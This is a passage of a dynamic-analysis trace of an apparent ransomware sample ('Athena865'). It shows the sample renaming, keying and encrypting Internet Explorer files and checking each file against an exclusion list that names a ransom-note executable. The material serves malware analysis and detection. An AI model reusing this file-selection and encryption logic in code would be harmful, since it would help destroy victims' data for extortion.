param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\IEShims.dll.Athena865") returned 62 [0042.459] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files (x86)\\internet explorer\\ieshims.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\IEShims.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\ieshims.dll.athena865"), dwFlags=0x1) returned 1 [0042.460] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\IEShims.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\ieshims.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.460] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=200704) returned 1 [0042.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.460] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.461] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.461] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.461] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31300, lpName=0x0) returned 0x17c [0042.463] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31300) returned 0x170000 [0042.469] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.470] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.470] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.471] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0042.473] CloseHandle (hObject=0x17c) returned 1 [0042.473] CloseHandle (hObject=0x154) returned 1 [0042.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.476] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e87a7f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2e87a7f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2eadbdf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa4510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0042.476] lstrcmpiW (lpString1="iexplore.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.476] lstrcmpiW (lpString1="iexplore.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.476] lstrcmpiW (lpString1="iexplore.exe", lpString2=".") returned 1 [0042.476] lstrcmpiW (lpString1="iexplore.exe", lpString2="..") returned 1 [0042.476] lstrcmpiW (lpString1="iexplore.exe", lpString2="windows") returned -1 [0042.476] lstrcmpiW (lpString1="iexplore.exe", lpString2="bootmgr") returned 1 [0042.476] lstrcmpiW (lpString1="iexplore.exe", lpString2="temp") returned -1 [0042.476] lstrcmpiW (lpString1="iexplore.exe", lpString2="pagefile.sys") returned -1 [0042.476] lstrcmpiW (lpString1="iexplore.exe", lpString2="boot") returned 1 [0042.477] lstrcmpiW (lpString1="iexplore.exe", lpString2="ids.txt") returned 1 [0042.477] lstrcmpiW (lpString1="iexplore.exe", lpString2="ntuser.dat") returned -1 [0042.477] lstrcmpiW (lpString1="iexplore.exe", lpString2="perflogs") returned -1 [0042.477] lstrcmpiW (lpString1="iexplore.exe", lpString2="MSBuild") returned -1 [0042.477] lstrlenW (lpString="iexplore.exe") returned 12 [0042.477] lstrcpyW (in: lpString1=0x241e89a, lpString2="iexplore.exe" | out: lpString1="iexplore.exe") returned="iexplore.exe" [0042.477] lstrlenW (lpString="iexplore.exe") returned 12 [0042.477] lstrlenW (lpString="Athena865") returned 9 [0042.477] lstrcmpiW (lpString1="plore.exe", lpString2="Athena865") returned 1 [0042.477] lstrlenW (lpString=".dll") returned 4 [0042.477] lstrcmpiW (lpString1="iexplore.exe", lpString2=".dll") returned 1 [0042.477] lstrlenW (lpString=".lnk") returned 4 [0042.477] lstrcmpiW (lpString1="iexplore.exe", lpString2=".lnk") returned 1 [0042.477] lstrlenW (lpString=".ini") returned 4 [0042.477] lstrcmpiW (lpString1="iexplore.exe", lpString2=".ini") returned 1 [0042.477] lstrlenW (lpString=".sys") returned 4 [0042.477] lstrcmpiW (lpString1="iexplore.exe", lpString2=".sys") returned 1 [0042.477] lstrlenW (lpString="iexplore.exe") returned 12 [0042.477] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe.Athena865") returned 63 [0042.477] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe.athena865"), dwFlags=0x1) returned 1 [0042.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.478] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=673040) returned 1 [0042.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.478] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.479] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.479] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.479] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa4810, lpName=0x0) returned 0x17c [0042.479] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa4810) returned 0x2d50000 [0042.501] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.502] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.502] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.502] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.503] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0042.508] CloseHandle (hObject=0x17c) returned 1 [0042.509] CloseHandle (hObject=0x154) returned 1 [0042.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.519] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a5d3f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a5d3f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2aa96b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2=".") returned 1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="..") returned 1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="windows") returned -1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="bootmgr") returned 1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="temp") returned -1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="pagefile.sys") returned -1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="boot") returned 1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="ids.txt") returned 1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="ntuser.dat") returned -1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="perflogs") returned -1 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2="MSBuild") returned -1 [0042.519] lstrlenW (lpString="jsdbgui.dll") returned 11 [0042.519] lstrcpyW (in: lpString1=0x241e89a, lpString2="jsdbgui.dll" | out: lpString1="jsdbgui.dll") returned="jsdbgui.dll" [0042.519] lstrlenW (lpString="jsdbgui.dll") returned 11 [0042.519] lstrlenW (lpString="Athena865") returned 9 [0042.519] lstrcmpiW (lpString1="dbgui.dll", lpString2="Athena865") returned 1 [0042.519] lstrlenW (lpString=".dll") returned 4 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2=".dll") returned 1 [0042.519] lstrlenW (lpString=".lnk") returned 4 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2=".lnk") returned 1 [0042.519] lstrlenW (lpString=".ini") returned 4 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2=".ini") returned 1 [0042.519] lstrlenW (lpString=".sys") returned 4 [0042.519] lstrcmpiW (lpString1="jsdbgui.dll", lpString2=".sys") returned 1 [0042.519] lstrlenW (lpString="jsdbgui.dll") returned 11 [0042.520] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll.Athena865") returned 62 [0042.520] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files (x86)\\internet explorer\\jsdbgui.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\jsdbgui.dll.athena865"), dwFlags=0x1) returned 1 [0042.520] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\jsdbgui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.520] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=524288) returned 1 [0042.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.521] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.521] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.521] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.521] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.522] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80300, lpName=0x0) returned 0x17c [0042.523] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80300) returned 0x2d50000 [0042.542] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.543] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.543] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.544] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0042.548] CloseHandle (hObject=0x17c) returned 1 [0042.548] CloseHandle (hObject=0x154) returned 1 [0042.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.557] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d665b0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d665b0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2=".") returned 1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="..") returned 1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="windows") returned -1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="bootmgr") returned 1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="temp") returned -1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="pagefile.sys") returned -1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="boot") returned 1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="ids.txt") returned 1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="ntuser.dat") returned -1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="perflogs") returned -1 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2="MSBuild") returned -1 [0042.557] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0042.557] lstrcpyW (in: lpString1=0x241e89a, lpString2="jsdebuggeride.dll" | out: lpString1="jsdebuggeride.dll") returned="jsdebuggeride.dll" [0042.557] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0042.557] lstrlenW (lpString="Athena865") returned 9 [0042.557] lstrcmpiW (lpString1="eride.dll", lpString2="Athena865") returned 1 [0042.557] lstrlenW (lpString=".dll") returned 4 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2=".dll") returned 1 [0042.557] lstrlenW (lpString=".lnk") returned 4 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2=".lnk") returned 1 [0042.557] lstrlenW (lpString=".ini") returned 4 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2=".ini") returned 1 [0042.557] lstrlenW (lpString=".sys") returned 4 [0042.557] lstrcmpiW (lpString1="jsdebuggeride.dll", lpString2=".sys") returned 1 [0042.557] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0042.558] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll.Athena865") returned 68 [0042.558] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files (x86)\\internet explorer\\jsdebuggeride.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\jsdebuggeride.dll.athena865"), dwFlags=0x1) returned 1 [0042.558] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\jsdebuggeride.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.558] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=122880) returned 1 [0042.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.559] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.559] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.559] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.560] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e300, lpName=0x0) returned 0x17c [0042.561] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e300) returned 0x100000 [0042.568] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.569] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.569] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.569] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0042.571] CloseHandle (hObject=0x17c) returned 1 [0042.571] CloseHandle (hObject=0x154) returned 1 [0042.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.573] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d8c70f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d8c70f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2=".") returned 1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="..") returned 1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="windows") returned -1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="bootmgr") returned 1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="temp") returned -1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="pagefile.sys") returned -1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="boot") returned 1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="ids.txt") returned 1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="ntuser.dat") returned -1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="perflogs") returned -1 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2="MSBuild") returned -1 [0042.574] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0042.574] lstrcpyW (in: lpString1=0x241e89a, lpString2="JSProfilerCore.dll" | out: lpString1="JSProfilerCore.dll") returned="JSProfilerCore.dll" [0042.574] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0042.574] lstrlenW (lpString="Athena865") returned 9 [0042.574] lstrcmpiW (lpString1="rCore.dll", lpString2="Athena865") returned 1 [0042.574] lstrlenW (lpString=".dll") returned 4 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2=".dll") returned 1 [0042.574] lstrlenW (lpString=".lnk") returned 4 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2=".lnk") returned 1 [0042.574] lstrlenW (lpString=".ini") returned 4 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2=".ini") returned 1 [0042.574] lstrlenW (lpString=".sys") returned 4 [0042.574] lstrcmpiW (lpString1="JSProfilerCore.dll", lpString2=".sys") returned 1 [0042.574] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0042.574] lstrlenW (lpString="bak") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0042.575] lstrlenW (lpString="ba_") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0042.575] lstrlenW (lpString="dbb") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0042.575] lstrlenW (lpString="vmdk") returned 4 [0042.575] lstrcmpiW (lpString1=".dll", 